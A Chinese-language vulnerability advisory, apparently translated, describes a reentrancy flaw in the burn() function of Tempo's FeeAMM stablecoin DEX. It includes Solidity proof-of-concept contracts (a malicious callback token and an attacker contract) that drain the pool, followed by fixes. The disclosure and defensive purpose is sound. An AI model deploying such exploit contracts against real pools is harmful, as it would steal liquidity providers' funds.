本文揭示了Tempo的FeeAMM稳定币DEX合约中burn()函数存在严重重入漏洞。由于代币转账发生在状态更新之前,恶意代币可利用回调机制多次重入该函数,耗尽流动性池,导致DEX破产。
由安全研究员提交
FeeAMM.sol 合约是 Tempo 的 Machine Payments Protocol (MPP) 使用的稳定币 DEX,其 burn() 函数中存在一个关键的重入漏洞。代币转账在内部状态更新之前执行,这允许带有转移回调的恶意 TIP-20 代币重入并耗尽整个流动性池。
在 burn() 函数中,操作顺序违反了 Checks-Effects-Interactions (CEI) 模式。外部代币转账发生在合约更新其内部状态之前:
function burn(address userToken, address validatorToken, uint256 liquidity, address to)
external
returns (uint256 amountUserToken, uint256 amountValidatorToken)
{
// ... 验证和数量计算 ...
(amountUserToken, amountValidatorToken) = _calculateBurnAmounts(pool, poolId, liquidity);
_requireU128(amountUserToken);
_requireU128(amountValidatorToken);
// 漏洞所在:在状态更新**之前**转移代币
IERC20(userToken).transfer(to, amountUserToken);
IERC20(validatorToken).transfer(to, amountValidatorToken);
// 在外部调用**之后**更新状态 - 重入窗口!
liquidityBalances[poolId][msg.sender] -= liquidity;
totalSupply[poolId] -= liquidity;
pool.reserveUserToken -= uint128(amountUserToken);
pool.reserveValidatorToken -= uint128(amountValidatorToken);
// ...
}
当调用 userToken.transfer() 时,如果代币具有回调机制(例如 ERC-777 hook 或恶意实现),攻击者可以在状态变量 (liquidityBalances, totalSupply, reserveUserToken, reserveValidatorToken) 更新之前重入 burn()。
由于流动性余额尚未减少,_calculateBurnAmounts() 将在每次递归调用时计算相同的输出数量,从而允许攻击者多次提取代币。
对 Tempo 基础设施的严重影响:
完全耗尽流动性池:攻击者可以部署一个恶意的 TIP-20 代币,提供最少的流动性,并通过递归调用 burn() 来耗尽整个池。
稳定币 DEX 破产:合法的流动性提供者将损失其存入的 TIP-20 USD 稳定币,且无法追索。
攻击需要一个拥有 LP 代币的攻击者合约。恶意代币在转移期间通知攻击者合约,攻击者合约重入 burn()。这确保了重入调用中的 msg.sender 是 LP 持有者。
interface IReentrancyCallback {
function onTokensReceived(uint256 amount) external;
}
// 在转移时通知接收者的恶意 TIP-20 代币
contract MaliciousTIP20 is ERC20 {
FeeAMM public target;
address public validatorToken;
uint256 public reentrancyCount;
bool public armed;
function transfer(address to, uint256 amount) public override returns (bool) {
super.transfer(to, amount);
// 当 FeeAMM 在 burn() 期间转移给接收者时,通知他们
if (armed && msg.sender == address(target) && reentrancyCount < 5) {
reentrancyCount++;
// 回调到接收者(攻击者合约),该合约将重入
try IReentrancyCallback(to).onTokensReceived(amount) {} catch {}
}
return true;
}
}
// 拥有 LP 代币并重入 burn() 的攻击者合约
contract ReentrancyAttacker {
FeeAMM public feeAmm;
MaliciousTIP20 public maliciousToken;
address public validatorToken;
uint256 public burnAmount;
bool public attacking;
function attack(uint256 _burnAmount) external {
burnAmount = _burnAmount;
attacking = true;
// 启动 burn - 将触发重入链
feeAmm.burn(address(maliciousToken), validatorToken, burnAmount, address(this));
attacking = false;
}
function onTokensReceived(uint256) external {
if (!attacking) return;
bytes32 poolId = feeAmm.getPoolId(address(maliciousToken), validatorToken);
uint256 liquidity = feeAmm.liquidityBalances(poolId, address(this));
// 状态尚未更新 - msg.sender 是此合约 (LP 持有者)
if (liquidity >= burnAmount) {
feeAmm.burn(address(maliciousToken), validatorToken, burnAmount, address(this));
}
}
}
function testReentrancyBurnDrain() public {
// 1. 部署攻击者合约和恶意代币
// 2. 攻击者合约提供流动性(获取 LP 代币)
// 3. 为重入准备恶意代币
// 4. 攻击者合约调用 burn() - 触发递归耗尽
maliciousToken.arm(feeAmm, validatorToken, 5);
attackerContract.attack(burnAmount);
// 攻击者收到约 6 倍于其应得的份额(初始 + 5 次重入调用)
// 资金池被大量耗尽
}
通过在外部调用之前更新状态来应用 Checks-Effects-Interactions (CEI) 模式:
function burn(address userToken, address validatorToken, uint256 liquidity, address to)
external
returns (uint256 amountUserToken, uint256 amountValidatorToken)
{
// ... 验证 ...
(amountUserToken, amountValidatorToken) = _calculateBurnAmounts(pool, poolId, liquidity);
_requireU128(amountUserToken);
_requireU128(amountValidatorToken);
// **已修复**:在外部调用**之前**更新状态
liquidityBalances[poolId][msg.sender] -= liquidity;
totalSupply[poolId] -= liquidity;
pool.reserveUserToken -= uint128(amountUserToken);
pool.reserveValidatorToken -= uint128(amountValidatorToken);
// 在状态更新**之后**转移代币
IERC20(userToken).transfer(to, amountUserToken);
IERC20(validatorToken).transfer(to, amountValidatorToken);
emit Burn(...);
}
或者,添加一个 reentrancy guard:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FeeAMM is ReentrancyGuard {
function burn(...) external nonReentrant returns (...) {
// ...
}
}
- 原文链接: github.com/openai/fronti...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!